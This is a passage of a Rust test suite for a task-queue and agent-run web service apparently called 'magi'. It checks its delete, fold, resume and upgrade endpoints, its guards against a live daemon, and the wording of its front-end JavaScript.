4469        // directory, i.e. `.../shot.png`, which is not the asset route - so a
4470        // panel written exactly as instructed showed broken images. Caught by
4471        // looking at a real one in a browser, not by reading the code.
4472        let fx = Fixture::start().await;
4473        let id = panel(
4474            &fx,
4475            "<img src=\"shot.png\">",
4476            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
4477        );
4478
4479        // The frame's own URL ends in a filename, so its siblings are reachable.
4480        let doc = fx
4481            .get(&format!("/api/questions/{id}/panel/index.html"))
4482            .await;
4483        assert_eq!(doc.status, 200, "{}", doc.body);
4484        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
4485
4486        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
4487        assert_eq!(sibling.status, 200, "{}", sibling.body);
4488        assert_eq!(sibling.header("content-type"), Some("image/png"));
4489        assert_eq!(
4490            sibling.header("content-security-policy"),
4491            Some(PANEL_CSP),
4492            "the sibling route must carry the same policy as the asset route"
4493        );
4494
4495        // The original spelling keeps working: HEAD on it is how the front end
4496        // decides whether to mount a frame at all.
4497        assert_eq!(
4498            fx.head(&format!("/api/questions/{id}/panel")).await.status,
4499            200
4500        );
4501    }
4502
4503    #[test]
4504    fn runs_revision_moves_when_deleting_an_older_run() {
4505        let temp = TempDir::new().expect("tempdir");
4506        let runs = temp.path().join("runs");
4507        std::fs::create_dir_all(&runs).expect("create runs dir");
4508
4509        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
4510
4511        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
4512        std::thread::sleep(Duration::from_millis(10));
4513        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
4514
4515        let rev_before = runs_revision(&runs);
4516        assert!(rev_before > 0);
4517
4518        let old_dir = runs.join("20260901-100000-old1");
4519        std::fs::remove_dir_all(&old_dir).expect("remove old run");
4520
4521        let rev_after = runs_revision(&runs);
4522        assert_ne!(
4523            rev_before, rev_after,
4524            "deleting an older run must change the revision so other clients see the deletion"
4525        );
4526    }
4527
4528    #[tokio::test]
4529    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
4530        let fx = Fixture::start().await;
4531        let q = fx.queue();
4532
4533        // 1. A queued task with runs attached can be deleted.
4534        let mut t1 = Task::new(
4535            "Task 1".to_owned(),
4536            "Instruction 1".to_owned(),
4537            PathBuf::from("/repo"),
4538            Source::Human,
4539        );
4540        let run_id = "20260901-000000-r111";
4541        t1.runs.push(run_id.to_owned());
4542        write_run(&fx.runs(), run_id, RunStatus::Merged);
4543        q.put(&mut t1).expect("put t1");
4544
4545        // Delete by short id
4546        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
4547        assert_eq!(res.status, 204);
4548        assert!(res.body.is_empty(), "204 No Content has no body");
4549        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
4550        assert!(
4551            fx.runs().join(run_id).exists(),
4552            "run directory must not be deleted when its task is deleted"
4553        );
4554
4555        // 2. A task a live daemon is running is refused with 409.
4556        let mut t2 = Task::new(
4557            "Task 2".to_owned(),
4558            "Instruction 2".to_owned(),
4559            PathBuf::from("/repo"),
4560            Source::Human,
4561        );
4562        t2.status = TaskStatus::Running;
4563        q.put(&mut t2).expect("put t2");
4564        let mut beat = crate::daemon::Status::new();
4565        beat.current = Some(crate::daemon::Current {
4566            task: t2.id.clone(),
4567            run: "20260901-000000-r222".to_owned(),
4568        });
4569        beat.updated_at = jiff::Timestamp::now();
4570        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
4571            .expect("publish a heartbeat");
4572        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
4573        assert_eq!(res.status, 409);
4574        assert!(
4575            res.json()["error"]
4576                .as_str()
4577                .unwrap()
4578                .contains("live daemon")
4579        );
4580        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
4581
4582        // 3. The same `running` status and an orphaned lock, with no daemon
4583        // behind either, is a leftover and deletable. Before this the phone
4584        // refused it for good: the status never changes on its own and
4585        // nothing drops a lock whose process is gone.
4586        // The daemon is killed: the file stays, the heartbeat stops.
4587        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
4588        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
4589            .expect("leave a stale heartbeat");
4590        let mut t3 = Task::new(
4591            "Task 3".to_owned(),
4592            "Instruction 3".to_owned(),
4593            PathBuf::from("/repo"),
4594            Source::Human,
4595        );
4596        t3.status = TaskStatus::Running;
4597        q.put(&mut t3).expect("put t3");
4598        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
4599        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
4600        assert_eq!(res.status, 204);
4601        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
4602        assert!(
4603            q.claim(&t3.id).is_ok(),
4604            "the stale lock went with it, so the id is claimable again"
4605        );
4606
4607        // 4. Missing id returns 404
4608        let res = fx.delete("/api/queue/nonexistent").await;
4609        assert_eq!(res.status, 404);
4610    }
4611
4612    #[tokio::test]
4613    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
4614        let fx = Fixture::start().await;
4615        let runs = fx.runs();
4616
4617        // 1. Finished and folded run can be deleted along with artifacts
4618        let run_id = "20260901-000000-fold";
4619        let mut state = RunState::new(
4620            PathBuf::from("/repo"),
4621            "main".to_owned(),
4622            "abc".to_owned(),
4623            "instruction".to_owned(),
4624            Config::default(),
4625        );
4626        state.id = run_id.to_owned();
4627        state.status = RunStatus::Merged;
4628        state.candidates.push(crate::run::Candidate {
4629            index: 0,
4630            label: 'A',
4631            agent: "a".to_owned(),
4632            branch: "b".to_owned(),
4633            worktree: PathBuf::from("/w"),
4634            summary: String::new(),
4635            stat: String::new(),
4636            files: 1,
4637            commits: 1,
4638            empty: false,
4639            failed: None,
4640            duration_ms: 0,
4641            folded: true,
4642        });
4643        let dir = runs.join(run_id);
4644        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
4645        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
4646            .expect("write artifact");
4647        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
4648            .expect("write run.json");
4649
4650        // Delete by short id
4651        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
4652        assert_eq!(res.status, 204);
4653        assert!(res.body.is_empty(), "204 has no body");
4654        assert!(!dir.exists(), "run directory and artifacts must be deleted");
4655
4656        // 2. A run a live daemon is working on is refused with 409. The
4657        // heartbeat is what makes it refusable: an unfinished run with no
4658        // daemon behind it is a leftover from a killed process, and case 1
4659        // above would otherwise be impossible to tell apart from this one.
4660        let run_running = "20260901-000000-rung";
4661        write_run(&runs, run_running, RunStatus::Prep);
4662        let mut beat = crate::daemon::Status::new();
4663        beat.current = Some(crate::daemon::Current {
4664            task: "20260901-000000-task".to_owned(),
4665            run: run_running.to_owned(),
4666        });
4667        beat.updated_at = jiff::Timestamp::now();
4668        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
4669            .expect("publish a heartbeat");
4670        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
4671        assert_eq!(res.status, 409);
4672        assert!(
4673            res.json()["error"]
4674                .as_str()
4675                .unwrap()
4676                .contains("live daemon"),
4677            "the refusal must say who is holding it"
4678        );
4679        assert!(
4680            runs.join(run_running).exists(),
4681            "a run in flight keeps its directory"
4682        );
4683
4684        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
4685        let run_unfolded = "20260901-000000-unfd";
4686        let mut state2 = RunState::new(
4687            PathBuf::from("/repo"),
4688            "main".to_owned(),
4689            "abc".to_owned(),
4690            "instruction".to_owned(),
4691            Config::default(),
4692        );
4693        state2.id = run_unfolded.to_owned();
4694        state2.status = RunStatus::Ready;
4695        state2.candidates.push(crate::run::Candidate {
4696            index: 0,
4697            label: 'A',
4698            agent: "a".to_owned(),
4699            branch: "b".to_owned(),
4700            worktree: PathBuf::from("/w"),
4701            summary: String::new(),
4702            stat: String::new(),
4703            files: 1,
4704            commits: 1,
4705            empty: false,
4706            failed: None,
4707            duration_ms: 0,
4708            folded: false,
4709        });
4710        let dir2 = runs.join(run_unfolded);
4711        std::fs::create_dir_all(&dir2).expect("create dir2");
4712        std::fs::write(
4713            dir2.join("run.json"),
4714            serde_json::to_string(&state2).unwrap(),
4715        )
4716        .expect("write run.json");
4717
4718        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
4719        assert_eq!(res.status, 409);
4720        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
4721        assert!(dir2.exists(), "unfolded run directory is kept");
4722
4723        // 4. Missing id returns 404
4724        let res = fx.delete("/api/runs/nonexistent").await;
4725        assert_eq!(res.status, 404);
4726    }
4727
4728    #[test]
4729    fn web_ui_delete_contract_in_front_end() {
4730        // 1. API block has both delete endpoints
4731        assert!(APP_JS.contains("deleteRun:"));
4732        assert!(APP_JS.contains("deleteTask:"));
4733
4734        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
4735        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
4736            ..APP_JS.find("function renderRuns").unwrap()];
4737        assert!(!run_cards_slice.to_lowercase().contains("delete"));
4738
4739        // 3. Run detail has delete entry and reasons
4740        assert!(APP_JS.contains("renderRunDelete"));
4741        assert!(APP_JS.contains("runDeleteReason"));
4742        assert!(APP_JS.contains("magi fold"));
4743        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
4744
4745        // 4. Two-step delete arming and focus on Cancel
4746        assert!(APP_JS.contains("cancel.focus"));
4747        assert!(APP_JS.contains("armedRunDelete"));
4748        assert!(APP_JS.contains("armedDelete"));
4749
4750        // 5. Running task has disabled delete
4751        assert!(APP_JS.contains("disabled: status === \"running\""));
4752    }
4753
4754    #[tokio::test]
4755    async fn folding_from_the_phone_reports_what_it_removed() {
4756        let fx = Fixture::start().await;
4757        let runs = fx.runs();
4758
4759        // A run with no candidates has nothing to fold, which is a 200 with an
4760        // honest count rather than an error: the operator asked for the trees
4761        // to be gone and they are.
4762        let id = "20260901-000000-fold";
4763        write_run(&runs, id, RunStatus::Stalled);
4764        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
4765        assert_eq!(res.status, 200);
4766        assert_eq!(res.json()["removed_count"], 0);
4767        assert_eq!(res.json()["run"], id);
4768        assert!(
4769            runs.join(id).exists(),
4770            "a fold keeps the run's record; only the worktrees go"
4771        );
4772    }
4773
4774    #[tokio::test]
4775    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
4776        let fx = Fixture::start().await;
4777        let runs = fx.runs();
4778        let id = "20260901-000000-live";
4779        write_run(&runs, id, RunStatus::Implementing);
4780
4781        let mut beat = crate::daemon::Status::new();
4782        beat.current = Some(crate::daemon::Current {
4783            task: "20260901-000000-task".to_owned(),
4784            run: id.to_owned(),
4785        });
4786        beat.updated_at = jiff::Timestamp::now();
4787        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
4788            .expect("publish a heartbeat");
4789
4790        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
4791        assert_eq!(res.status, 409);
4792        assert!(
4793            res.json()["error"]
4794                .as_str()
4795                .unwrap()
4796                .contains("live daemon"),
4797            "folding under a running agent would pull its worktree away"
4798        );
4799    }
4800
4801    #[tokio::test]
4802    async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
4803        let fx = Fixture::start().await;
4804        let runs = fx.runs();
4805
4806        for (status, word) in [
4807            (RunStatus::Merged, "merged"),
4808            (RunStatus::Ready, "ready"),
4809            (RunStatus::Failed, "failed"),
4810            (RunStatus::Implementing, "implementing"),
4811        ] {
4812            let id = format!("20260901-000000-{}", &word[..4]);
4813            write_run(&runs, &id, status);
4814            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
4815            assert_eq!(res.status, 409, "{word} must not be resumable");
4816            let err = res.json()["error"].as_str().unwrap().to_owned();
4817            assert!(err.contains(word), "the refusal names the status: {err}");
4818        }
4819    }
4820
4821    #[tokio::test]
4822    async fn resume_is_refused_while_the_loop_is_running() {
4823        let fx = Fixture::start().await;
4824        let runs = fx.runs();
4825        let stalled = "20260901-000000-stal";
4826        write_run(&runs, stalled, RunStatus::Stalled);
4827
4828        // The loop is busy with a *different* run, and that is still a refusal:
4829        // one competition at a time is the point, not one per run.
4830        let mut beat = crate::daemon::Status::new();
4831        beat.current = Some(crate::daemon::Current {
4832            task: "20260901-000000-task".to_owned(),
4833            run: "20260901-000000-othr".to_owned(),
4834        });
4835        beat.updated_at = jiff::Timestamp::now();
4836        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
4837            .expect("publish a heartbeat");
4838
4839        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
4840        assert_eq!(res.status, 409);
4841        let err = res.json()["error"].as_str().unwrap().to_owned();
4842        assert!(err.contains("othr"), "it names what the loop is on: {err}");
4843        assert!(err.contains("one competition at a time"), "{err}");
4844    }
4845
4846    #[test]
4847    fn a_run_cannot_be_resumed_twice_at_once() {
4848        let home = TempDir::new().expect("temp home");
4849        let ui = Ui::new(
4850            Queue::at(home.path().join("queue")),
4851            Questions::at(home.path().join("questions")),
4852            Chats::at(home.path().join("chats")),
4853            home.path().join("runs"),
4854            home.path().to_path_buf(),
4855            PathBuf::from("/repo"),
4856        );
4857        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
4858        let again = ui.begin_resume("20260901-000000-once");
4859        assert!(again.is_err(), "a second tap must not start a second graph");
4860        drop(first);
4861        assert!(
4862            ui.begin_resume("20260901-000000-once").is_ok(),
4863            "and the claim is released when the attempt ends"
4864        );
4865    }
4866
4867    #[test]
4868    fn refreshing_a_conversation_never_navigates_to_it() {
4869        // Reproduced on the deck: send a turn in one conversation, open
4870        // another, and ten seconds later the transcript on screen was the
4871        // first one while the address bar still named the second.
4872        // `tickWait`'s insurance calls `loadChat` for the *waiting* chat, and
4873        // `loadChat` opened by assigning `state.chatDetail`, so a refresh was
4874        // a navigation.
4875        let body = &APP_JS[APP_JS.find("async function loadChat(").expect("loadChat")
4876            ..APP_JS.find("async function startChat(").expect("startChat")];
4877        assert!(
4878            !body.contains("state.chatDetail = {"),
4879            "loadChat must not decide which conversation is on screen: {body}"
4880        );
4881        assert!(
4882            body.contains("if (state.chatDetail.id !== id) return;"),
4883            "it returns instead of drawing a chat the operator is not reading"
4884        );
4885
4886        // The turn still has to be settled from there, and before that check,
4887        // because the insurance exists for a reply that lands while the
4888        // operator is elsewhere - otherwise the wait strip runs forever.
4889        assert!(
4890            body.find("endTurn(id)") < body.find("if (state.chatDetail.id !== id) return;"),
4891            "settle the turn before the on-screen check"
4892        );
4893
4894        // Choosing the conversation on screen belongs to the router.
4895        let router = &APP_JS[APP_JS.find("function applyRoute(").expect("applyRoute")..];
4896        assert!(router.contains("state.chatDetail = { id: route.id, chat: null }"));
4897    }
4898
4899    #[tokio::test]
4900    async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
4901        let fx = Fixture::start().await;
4902        // Somebody else's `magi serve` owns the queue. Replacing this binary
4903        // would leave that process running an old one against the same
4904        // claims, which is worse than refusing.
4905        let mut beat = crate::daemon::Status::new();
4906        beat.pid = 4321;
4907        beat.updated_at = jiff::Timestamp::now();
4908        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
4909            .expect("publish a heartbeat");
4910
4911        let res = fx.post("/api/upgrade", None).await;
4912        assert_eq!(res.status, 409);
4913        let err = res.json()["error"].as_str().unwrap().to_owned();
4914        assert!(err.contains("4321"), "the refusal names the owner: {err}");
4915        assert!(err.contains("old one against the same queue"), "{err}");
4916    }
4917
4918    #[tokio::test]
4919    async fn an_upgrade_with_nothing_in_flight_says_so() {
4920        let fx = Fixture::start().await;
4921        // No loop, nothing to park: the answer must not claim a run is
4922        // parking when none is, because that is the sentence the operator
4923        // waits on before touching the process.
4924        let res = fx.post("/api/upgrade", None).await;
4925        assert_eq!(res.status, 202, "the reply leaves before the restart does");
4926        let body = res.json();
4927        assert_eq!(body["from"], env!("CARGO_PKG_VERSION"));
4928        assert!(body["parked"].is_null());
4929        assert!(
4930            body["detail"]
4931                .as_str()
4932                .unwrap()
4933                .contains("Nothing was in flight to park"),
4934            "{body:?}"
4935        );
4936    }
4937
4938    #[test]
4939    fn the_upgrade_button_arms_before_it_restarts_anything() {
4940        // It ends the process the operator is talking to, and a phone in a
4941        // pocket taps things. One tap arms, the second commits.
4942        assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
4943        assert!(APP_JS.contains("Replace the binary and restart?"));
4944        assert!(APP_JS.contains("function confirmed("));
4945        // Hidden when the loop is somebody else's, matching the 409 above.
4946        assert!(APP_JS.contains("show(upgradeBtn, !foreign)"));
4947    }
4948
4949    #[test]
4950    fn the_deck_never_sends_the_operator_to_a_terminal() {
4951        // The whole point of the phone UI is that a terminal is not needed.
4952        // The delete control used to answer with "Run `magi fold` first."
4953        assert!(
4954            !APP_JS.contains("Run `magi fold` first"),
4955            "the deck must offer the fold, not prescribe a shell command"
4956        );
4957        assert!(APP_JS.contains("foldRun:"));
4958        assert!(APP_JS.contains("resumeRun:"));
4959        assert!(APP_JS.contains("renderRunActions"));
4960
4961        // Folding is destructive and armed in two steps, like deleting.
4962        assert!(APP_JS.contains("armedFold"));
4963        assert!(APP_JS.contains("Yes, fold worktrees"));
4964
4965        // And the copy has to say that the two actions are opposites, because
4966        // folding throws away exactly what a resume would continue from.
4967        assert!(APP_JS.contains("can no longer be resumed"));
4968    }
4969
4970    #[test]
4971    fn a_finished_run_explains_itself_with_its_own_last_line() {
4972        // The deck used to answer "why did this stop?" with a sentence chosen
4973        // by status alone. Run e633 stalled because two judges answered with
4974        // the wrong JSON shape and its card said "The panel collapsed on
4975        // agent quota" - with `quota: []` in the record and a quota-loss
4976        // counter right above it that correctly said nothing.
4977        assert!(
4978            !APP_JS.contains("collapsed on agent quota"),
4979            "a stall must not be explained by a cause the deck did not check"
4980        );
4981        assert!(
4982            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
4983            "and a block must not offer a guess with an `or` in it"
4984        );
4985
4986        // The reason it does have is `run.event`, which must reach finished
4987        // runs: gating it on movement hid the recorded truth at the one moment
4988        // the operator is reading the card to find out what happened.
4989        assert!(
4990            APP_JS.contains("setText(r.event, run.event || \"\")"),
4991            "the run's last line is rendered unconditionally"
4992        );
4993        assert!(
4994            !APP_JS.contains("moving && run.event"),
4995            "and never gated on the run still moving"
4996        );
4997
4998        // Quota keeps its own counter, fed by the number actually recorded.
4999        assert!(APP_JS.contains("lost to quota"));
5000    }
5001}